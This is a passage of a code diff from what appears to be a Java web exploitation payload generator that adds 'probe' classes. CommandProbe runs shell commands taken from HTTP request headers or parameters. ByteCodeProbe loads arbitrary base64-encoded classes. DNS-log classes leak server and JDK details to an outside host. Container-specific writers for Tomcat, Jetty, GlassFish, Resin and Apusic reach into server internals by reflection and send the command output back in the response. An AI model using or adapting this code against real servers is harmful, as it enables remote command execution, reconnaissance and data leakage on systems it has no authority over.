+        super(probeConfig, probeContentConfig);
+    }
+
+    @Override
+    protected DynamicType.Builder<?> build(ByteBuddy buddy) {
+        String name;
+        Class<?> getDataFromReqInterceptor;
+        if (probeContentConfig.getReqParamName() != null) {
+            name = probeContentConfig.getReqParamName();
+            getDataFromReqInterceptor = getDataFromReqParamInterceptor.class;
+        } else {
+            name = probeContentConfig.getReqHeaderName();
+            getDataFromReqInterceptor = getDataFromReqHeaderInterceptor.class;
+        }
+        Class<?> templateClass;
+        switch (probeContentConfig.getServer()) {
+            case Constants.Server.JETTY:
+                templateClass = JettyWriter.class;
+                break;
+            case Constants.Server.TOMCAT:
+            case Constants.Server.JBOSS:
+            case Constants.Server.BES:
+                templateClass = TomcatWriter.class;
+                break;
+            case Constants.Server.TONGWEB:
+                templateClass = TongWebWriter.class;
+                break;
+            case Constants.Server.RESIN:
+                templateClass = ResinWriter.class;
+                break;
+            case Constants.Server.UNDERTOW:
+                templateClass = UndertowWriter.class;
+                break;
+            case Constants.Server.GLASSFISH:
+            case Constants.Server.INFORSUITE:
+                templateClass = GlassFishWriter.class;
+                break;
+            case Constants.Server.WEBSPHERE:
+                templateClass = WebSphereWriter.class;
+                break;
+            case Constants.Server.WEBLOGIC:
+                templateClass = WebLogicWriter.class;
+                break;
+            case Constants.Server.APUSIC:
+                templateClass = ApusicWriter.class;
+                break;
+            default:
+                throw new IllegalArgumentException("responseBody now supported for server: " + probeContentConfig.getServer());
+        }
+
+        Class<?> runInterceptor;
+        switch (probeConfig.getProbeContent()) {
+            case Command:
+                runInterceptor = CommandProbe.class;
+                break;
+            case Bytecode:
+                runInterceptor = ByteCodeProbe.class;
+                break;
+            default:
+                throw new IllegalArgumentException("responseBody not supported for probe content: " + probeConfig.getProbeContent());
+        }
+        return buddy.redefine(templateClass)
+                .name(probeConfig.getShellClassName())
+                .visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
+                .visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
+                        probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
+                .visit(Advice.withCustomMapping().bind(NameAnnotation.class, name)
+                        .to(getDataFromReqInterceptor).on(named("getDataFromReq")))
+                .visit(Advice.to(runInterceptor).on(named("run")));
+    }
+
+    static class getDataFromReqHeaderInterceptor {
+        @Advice.OnMethodExit
+        public static void enter(@Advice.Argument(value = 0) Object request,
+                                 @NameAnnotation String name,
+                                 @Advice.Return(readOnly = false) String ret) throws Exception {
+            try {
+                ret = ((String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name}));
+            } catch (Exception e) {
+                ret = null;
+            }
+        }
+    }
+
+    static class getDataFromReqParamInterceptor {
+        @Advice.OnMethodExit
+        public static void enter(@Advice.Argument(value = 0) Object request,
+                                 @NameAnnotation String name,
+                                 @Advice.Return(readOnly = false) String ret) throws Exception {
+            try {
+                ret = ((String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name}));
+            } catch (Exception e) {
+                ret = null;
+            }
+        }
+    }
+
+    @Retention(RetentionPolicy.RUNTIME)
+    public @interface NameAnnotation {
+    }
+}
+
+
+
+

generator/src/main/java/com/reajason/javaweb/probe/payload/BasicInfoPrinter.java

@@ -0,0 +1,67 @@
+package com.reajason.javaweb.probe.payload;
+
+import java.lang.management.ManagementFactory;
+import java.lang.management.ThreadInfo;
+import java.lang.management.ThreadMXBean;
+import java.text.SimpleDateFormat;
+import java.util.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/29
+ */
+public class BasicInfoPrinter {
+    @Override
+    public String toString() {
+        StringBuilder sb = new StringBuilder();
+        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+        sb.append("# Generated At ").append(sdf.format(new Date())).append("\n");
+        sb.append("SystemProps:\n");
+        Properties properties = System.getProperties();
+        for (Object key : properties.keySet()) {
+            sb.append(key).append(": ").append(properties.get(key)).append("\n");
+        }
+        sb.append("\n===========================================\n");
+        sb.append("\nThreadStacks:\n");
+        Map<Thread, StackTraceElement[]> allStackTraces = Thread.getAllStackTraces();
+        ThreadMXBean threadMXBean = ManagementFactory.getThreadMXBean();
+        Set<String> classNames = new HashSet<>();
+        for (Map.Entry<Thread, StackTraceElement[]> threadEntry : allStackTraces.entrySet()) {
+            Thread thread = threadEntry.getKey();
+            StackTraceElement[] stackTrace = threadEntry.getValue();
+            ThreadInfo threadInfo = threadMXBean.getThreadInfo(thread.getId());
+            sb.append("\"").append(thread.getName()).append("\" #").append(thread.getId());
+            if (thread.isDaemon()) {
+                sb.append(" daemon");
+            }
+            sb.append(" [").append(thread.getState()).append("]");
+            if (threadInfo != null && threadInfo.getLockName() != null) {
+                sb.append(" on ").append(threadInfo.getLockName());
+            }
+            sb.append("\n");
+            sb.append("   java.lang.Thread.State: ").append(thread.getState()).append("\n");
+            for (StackTraceElement element : stackTrace) {
+                sb.append("\tat ").append(element.toString()).append("\n");
+                String className = element.getClassName();
+
+                if (!className.startsWith("java.")
+                        && !className.startsWith("jdk.")
+                        && !className.startsWith("sun.")
+                        && !className.startsWith("com.sun.")
+                        && !className.startsWith("javax.")
+                ) {
+                    classNames.add(className);
+                }
+            }
+            sb.append("\n");
+        }
+        sb.append("\n===========================================\n");
+        sb.append("\nStackClassNames:\n");
+        List<String> strings = new ArrayList<>(classNames);
+        Collections.sort(strings);
+        for (String className : strings) {
+            sb.append(className).append("\n");
+        }
+        return sb.toString();
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java

@@ -0,0 +1,47 @@
+package com.reajason.javaweb.probe.payload;
+
+import lombok.SneakyThrows;
+import net.bytebuddy.asm.Advice;
+
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/5
+ */
+public class ByteCodeProbe {
+
+    private final String base64Str;
+
+    public ByteCodeProbe(String base64Str) {
+        this.base64Str = base64Str;
+    }
+
+    @Advice.OnMethodExit
+    public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Throwable {
+        Class<?> decoderClass;
+        byte[] classBytes;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, data);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), data);
+        }
+        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+        defineClass.setAccessible(true);
+        Class<?> clazz = (Class<?>) defineClass.invoke(new URLClassLoader(new URL[]{}), classBytes, 0, classBytes.length);
+        ret = clazz.newInstance().toString();
+        System.out.println(ret);
+        return ret;
+    }
+
+    @Override
+    @SneakyThrows
+    public String toString() {
+        return ByteCodeProbe.exit(base64Str, super.toString());
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/CommandProbe.java

@@ -0,0 +1,36 @@
+package com.reajason.javaweb.probe.payload;
+
+import lombok.SneakyThrows;
+import net.bytebuddy.asm.Advice;
+
+import java.util.NoSuchElementException;
+import java.util.Scanner;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/5
+ */
+public class CommandProbe {
+    private final String command;
+
+    public CommandProbe(String command) {
+        this.command = command;
+    }
+
+    @Advice.OnMethodExit
+    public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
+        String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
+        Process process = new ProcessBuilder(cmd).start();
+        try {
+            return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
+        } catch (NoSuchElementException e) {
+            return ret = new Scanner(process.getErrorStream()).useDelimiter("\\A").next();
+        }
+    }
+
+    @Override
+    @SneakyThrows
+    public String toString() {
+        return CommandProbe.exit(command, super.toString());
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/JdkProbe.java

@@ -0,0 +1,30 @@
+package com.reajason.javaweb.probe.payload;
+
+import net.bytebuddy.asm.Advice;
+
+import java.io.File;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/26
+ */
+public class JdkProbe {
+    @Advice.OnMethodExit
+    public static String exit(@Advice.Return(readOnly = false) String ret) {
+        String javaHome = System.getProperty("java.home");
+        String javacName = File.separatorChar == '\\' ? "javac.exe" : "javac";
+        // 检查 JDK 9+ 结构 (java.home/bin/javac) 或独立 JRE
+        File javacFileInBin = new File(javaHome, "bin" + File.separator + javacName);
+        // 检查 JDK 8 及更早版本的结构 (java.home/../bin/javac) 旧版 JDK 中，java.home 指向 jre 目录
+        File javacFileInParentBin = new File(new File(javaHome).getParentFile(), "bin" + File.separator + javacName);
+        String jdkType = (javacFileInBin.exists() || javacFileInParentBin.exists()) ? "JDK" : "JRE";
+        String javaVersion = System.getProperty("java.version");
+        String classVersion = String.valueOf(Double.valueOf(Double.parseDouble(System.getProperty("java.class.version"))).intValue());
+        return ret = jdkType + "|" + javaVersion + "|" + classVersion;
+    }
+
+    @Override
+    public String toString() {
+        return JdkProbe.exit(super.toString());
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/OsProbe.java

@@ -0,0 +1,26 @@
+package com.reajason.javaweb.probe.payload;
+
+import net.bytebuddy.asm.Advice;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/26
+ */
+public class OsProbe {
+    @Advice.OnMethodExit
+    public static String exit(@Advice.Return(readOnly = false) String ret) {
+        String os = System.getProperty("os.name").toLowerCase();
+        if (os.startsWith("win")) {
+            return ret = "win";
+        }
+        if (os.startsWith("mac")) {
+            return ret = "mac";
+        }
+        return ret = "linux";
+    }
+
+    @Override
+    public String toString() {
+        return OsProbe.exit(super.toString());
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java

@@ -0,0 +1,81 @@
+package com.reajason.javaweb.probe.payload;
+
+import net.bytebuddy.asm.Advice;
+
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * HTTP 服务类型识别，主要识别 Servlet 容器实现，例如 WildFly 识别为 Undertow，Payara 识别为 GlassFish
+ * 很多国产中间件都是基于 GlassFish 改的，都会识别为 GlassFish
+ * <br/>
+ * 额外需要注意：
+ * 1. 不会识别 SpringWebMVC Struct2 这种框架，只识别其提供 HTTP 服务的 Servlet 容器类型
+ * 2. 识别的顺序很重要，部分类型的识别单独拿出来是不准确的，没有测试的情况下，不要以下的 if 判断顺序
+ *
+ * @author ReaJason
+ * @since 2025/7/26
+ */
+public class ServerProbe {
+
+    @Advice.OnMethodExit
+    public static String exit(@Advice.Return(readOnly = false) String ret) {
+        Collection<StackTraceElement[]> stackTraceElements = Thread.getAllStackTraces().values();
+        Set<String> classNames = new HashSet<>();
+        for (StackTraceElement[] stackTraceElement : stackTraceElements) {
+            for (StackTraceElement traceElement : stackTraceElement) {
+                classNames.add(traceElement.getClassName());
+            }
+        }
+        if (System.getProperty("jetty.home") != null
+                || classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
+            return ret = "Jetty";
+        }
+        if (classNames.contains("io.undertow.server.Connectors")) {
+            return ret = "Undertow";
+        }
+        if (System.getProperty("com.cvicse.inforsuite.base.dir") != null) {
+            return ret = "InforSuite";
+        }
+        if (System.getProperty("com.apusic.home") != null) {
+            return ret = "Apusic";
+        }
+        if (System.getProperty("bes.home") != null
+                && classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
+            return ret = "BES";
+        }
+        if (System.getProperty("tongweb.home") != null) {
+            return ret = "TongWeb";
+        }
+        if (System.getProperty("weblogic.home") != null) {
+            return ret = "WebLogic";
+        }
+        if (System.getProperty("was.install.root") != null) {
+            return ret = "WebSphere";
+        }
+        if (System.getProperty("resin.home") != null) {
+            return ret = "Resin";
+        }
+        if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
+            return ret = "SpringWebFlux";
+        }
+        if (System.getProperty("AS_INSTALL") != null) {
+            return ret = "GlassFish";
+        }
+        if (System.getProperty("jboss.home.dir") != null
+                && classNames.contains("org.apache.tomcat.util.net.JIoEndpoint$Acceptor")) {
+            return ret = "JBoss";
+        }
+        if (System.getProperty("catalina.home") != null
+                || classNames.contains("org.apache.tomcat.util.threads.TaskQueue")) {
+            return ret = "Tomcat";
+        }
+        return ret = "Unknown";
+    }
+
+    @Override
+    public String toString() {
+        return ServerProbe.exit(super.toString());
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogJdk.java

@@ -0,0 +1,33 @@
+package com.reajason.javaweb.probe.payload.dns;
+
+import java.net.InetAddress;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/28
+ */
+public class DnsLogJdk {
+    public static String host;
+
+    static {
+        new DnsLogJdk();
+    }
+
+    public DnsLogJdk() {
+        String[] jdkInfos = getJdk().split("\\|");
+        String[] result = new String[]{
+                "jdkType." + jdkInfos[0],
+                "javaVersion." + jdkInfos[1]
+        };
+        for (String info : result) {
+            try {
+                InetAddress.getAllByName(info + "." + host);
+            } catch (Throwable ignored) {
+            }
+        }
+    }
+
+    private String getJdk() {
+        return null;
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/dns/DnsLogServer.java

@@ -0,0 +1,26 @@
+package com.reajason.javaweb.probe.payload.dns;
+
+import java.net.InetAddress;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/28
+ */
+public class DnsLogServer {
+    public static String host;
+
+    static {
+        new DnsLogServer();
+    }
+
+    public DnsLogServer() {
+        try {
+            InetAddress.getAllByName("serverType." + getServer().toLowerCase() + "." + host);
+        } catch (Throwable ignored) {
+        }
+    }
+
+    private String getServer() {
+        return null;
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java

@@ -0,0 +1,91 @@
+package com.reajason.javaweb.probe.payload.response;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/10
+ */
+public class ApusicWriter {
+    public ApusicWriter() {
+        try {
+            Object table = getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
+            for (int i = 0; i < Array.getLength(table); i++) {
+                Object entry = Array.get(table, i);
+                if (entry == null) {
+                    continue;
+                }
+                Object value = getFieldValue(entry, "value");
+                // com.apusic.invocation.InvocationContext
+                if (value != null && value.getClass().getName().contains("InvocationContext")) {
+                    Object servletInvocation = getFieldValue(value, "top");
+                    Object request = getFieldValue(servletInvocation, "request");
+                    Object response = getFieldValue(servletInvocation, "response");
+                    String data = getDataFromReq(request);
+                    if (data != null && !data.isEmpty()) {
+                        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                        try {
+                            writer.write(run(data));
+                        } catch (Throwable e) {
+                            e.printStackTrace();
+                            e.printStackTrace(writer);
+                        }
+                        writer.flush();
+                        writer.close();
+                        return;
+                    }
+                }
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    private String getDataFromReq(Object request) throws Exception {
+        return null;
+    }
+
+    private String run(String data) throws Exception {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java

@@ -0,0 +1,119 @@
+package com.reajason.javaweb.probe.payload.response;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Set;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/9
+ */
+public class GlassFishWriter {
+
+    static {
+        new GlassFishWriter();
+    }
+
+    public GlassFishWriter() {
+        try {
+            try {
+                // GlassFish3
+                Thread thread = Thread.currentThread();
+                Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
+                Object response = invokeMethod(request, "getResponse", null, null);
+                String data = getDataFromReq(request);
+                if (data != null && !data.isEmpty()) {
+                    execute(response, data);
+                }
+            } catch (Exception x) {
+                // GlassFish4+
+                Set<Thread> threads = Thread.getAllStackTraces().keySet();
+                for (Thread thread : threads) {
+                    Object blocker = getFieldValue(thread, "blocker");
+                    if (blocker == null || !blocker.getClass().getName().contains("Selector")) {
+                        continue;
+                    }
+                    Set<?> keys = (Set<?>) getFieldValue(getFieldValue(blocker, "this$0"), "keys");
+                    for (Object key : keys) {
+                        Object connection = getFieldValue(key, "attachment");
+                        if (!connection.getClass().getName().contains("Connection")) {
+                            continue;
+                        }
+                        Object attributes = getFieldValue(connection, "attributes");
+                        Object coyoteRequest = invokeMethod(attributes, "getAttribute", new Class[]{String.class}, new Object[]{"HttpServerFilter.Request"});
+                        if (coyoteRequest == null) {
+                            continue;
+                        }
+                        Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
+                        Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
+                        Object response = invokeMethod(request, "getResponse", null, null);
+                        String data = getDataFromReq(request);
+                        if (data != null && !data.isEmpty()) {
+                            execute(response, data);
+                            return;
+                        }
+                    }
+                }
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void execute(Object response, String data) throws Exception {
+        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+        try {
+            writer.write(run(data));
+        } catch (Throwable e) {
+            e.printStackTrace(writer);
+        }
+        writer.flush();
+        writer.close();
+    }
+
+    private String getDataFromReq(Object request) throws Exception {
+        return null;
+    }
+
+    private String run(String data) throws Exception {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java

@@ -0,0 +1,111 @@
+package com.reajason.javaweb.probe.payload.response;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/5
+ */
+public class JettyWriter {
+
+    static {
+        new JettyWriter();
+    }
+
+    public JettyWriter() {
+        try {
+            Thread thread = Thread.currentThread();
+            System.out.println(thread);
+            Object threadLocals = getFieldValue(thread, "threadLocals");
+            Object table = getFieldValue(threadLocals, "table");
+            for (int i = 0; i < Array.getLength(table); i++) {
+                Object entry = Array.get(table, i);
+                if (entry == null) {
+                    continue;
+                }
+                Object value = getFieldValue(entry, "value");
+                if (value != null && value.getClass().getName().endsWith("HttpConnection")) {
+                    Object response;
+                    Object request;
+                    try {
+                        Object httpChannel = invokeMethod(value, "getHttpChannel", null, null);
+                        response = invokeMethod(httpChannel, "getResponse", null, null);
+                        request = invokeMethod(httpChannel, "getRequest", null, null);
+                    } catch (Exception e) {
+                        response = invokeMethod(value, "getResponse", null, null);
+                        request = invokeMethod(value, "getRequest", null, null);
+                    }
+                    if (request == null) {
+                        continue;
+                    }
+                    // 在 Jetty12 ee8 ~ ee10 环境下
+                    // request 对象为 org.eclipse.jetty.server.internal.HttpChannelState$ChannelRequest
+                    // 非 ServletRequest 实现，考虑到场景可能比较少，适配代码较多，因此下面暂未适配
+                    String data = getDataFromReq(request);
+                    if (data != null && !data.isEmpty()) {
+                        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                        try {
+                            writer.write(run(data));
+                        } catch (Throwable e) {
+                            e.printStackTrace();
+                            e.printStackTrace(writer);
+                        }
+                        writer.flush();
+                        writer.close();
+                        return;
+                    }
+                }
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    private String getDataFromReq(Object request) throws Throwable {
+        return null;
+    }
+
+    private String run(String data) throws Throwable {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java

@@ -0,0 +1,83 @@
+package com.reajason.javaweb.probe.payload.response;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/8
+ */
+public class ResinWriter {
+    static {
+        new ResinWriter();
+    }
+
+    public ResinWriter() {
+        try {
+            ClassLoader loader = Thread.currentThread().getContextClassLoader();
+            Class<?> invocationClazz = loader.loadClass("com.caucho.server.dispatch.ServletInvocation");
+            Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
+            Object response = getFieldValue(request, "_response");
+            String data = getDataFromReq(request);
+            PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+            try {
+                writer.write(run(data));
+            } catch (Throwable e) {
+                e.printStackTrace(writer);
+            }
+            writer.flush();
+            writer.close();
+            // com.caucho.server.connection.AbstractHttpResponse.close
+            // 不关闭 response 的话会遇到重复写响应体的情况
+            invokeMethod(response, "close", null, null);
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    private String getDataFromReq(Object request) throws Exception {
+        return null;
+    }
+
+    private String run(String data) throws Exception {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java

@@ -0,0 +1,130 @@
+package com.reajason.javaweb.probe.payload.response;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.Set;
+
+public class TomcatWriter {
+
+    static {
+        new TomcatWriter();
+    }
+
+    public TomcatWriter() {
+        try {
+            Set<Thread> threads = Thread.getAllStackTraces().keySet();
+            for (Thread thread : threads) {
+                Object target = null;
+                try {
+                    target = getFieldValue(thread, "target");
+                } catch (NoSuchFieldException e) {
+                    // JDK 21
+                    target = getFieldValue(getFieldValue(thread, "holder"), "task");
+                }
+                if (target == null) {
+                    continue;
+                }
+                Object requestGroupInfo = null;
+                // Tomcat6 http-8080-Acceptor-0 <-> org.apache.tomcat.util.net.JIoEndpoint$Acceptor
+                // Tomcat7 http-apr-8080-Poller <-> org.apache.tomcat.util.net.AprEndpoint$Poller
+                // Tomcat8 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller
+                // Tomcat9 http-nio-8080-ClientPoller-0 <-> org.apache.tomcat.util.net.NioEndpoint$Poller
+                // Tomcat10 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller
+                // Tomcat11 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller
+                String threadName = thread.getName();
+                if ((threadName.contains("Poller") || threadName.contains("Acceptor"))
+                        && !threadName.contains("ajp")
+                ) {
+                    try {
+                        requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global");
+                    } catch (NoSuchFieldException ignored) {
+                        continue;
+                    }
+                } else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) {
+                    // Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
+                    try {
+                        Object toRun = getFieldValue(target, "toRun");
+                        if (toRun != null) {
+                            requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(toRun, "endpoint"), "handler"), "global");
+                        }
+                    } catch (NoSuchFieldException e) {
+                        continue;
+                    }
+                }
+                if (requestGroupInfo == null) {
+                    continue;
+                }
+                List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
+                for (Object processor : processors) {
+                    // org.apache.coyote.Request
+                    Object coyoteRequest = getFieldValue(processor, "req");
+                    // org.apache.catalina.connector.Request
+                    Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
+                    // org.apache.catalina.connector.Response
+                    Object response = invokeMethod(request, "getResponse", null, null);
+                    String data = getDataFromReq(request);
+                    if (data != null && !data.isEmpty()) {
+                        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                        try {
+                            writer.write(run(data));
+                        } catch (Throwable e) {
+                            e.printStackTrace(writer);
+                        }
+                        writer.flush();
+                        writer.close();
+                        return;
+                    }
+                }
+            }
+        } catch (Throwable e) {
+            e.printStackTrace();
+        }
+    }
+
+    private String getDataFromReq(Object request) throws Exception {
+        return null;
+    }
+
+    private String run(String data) throws Exception {
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
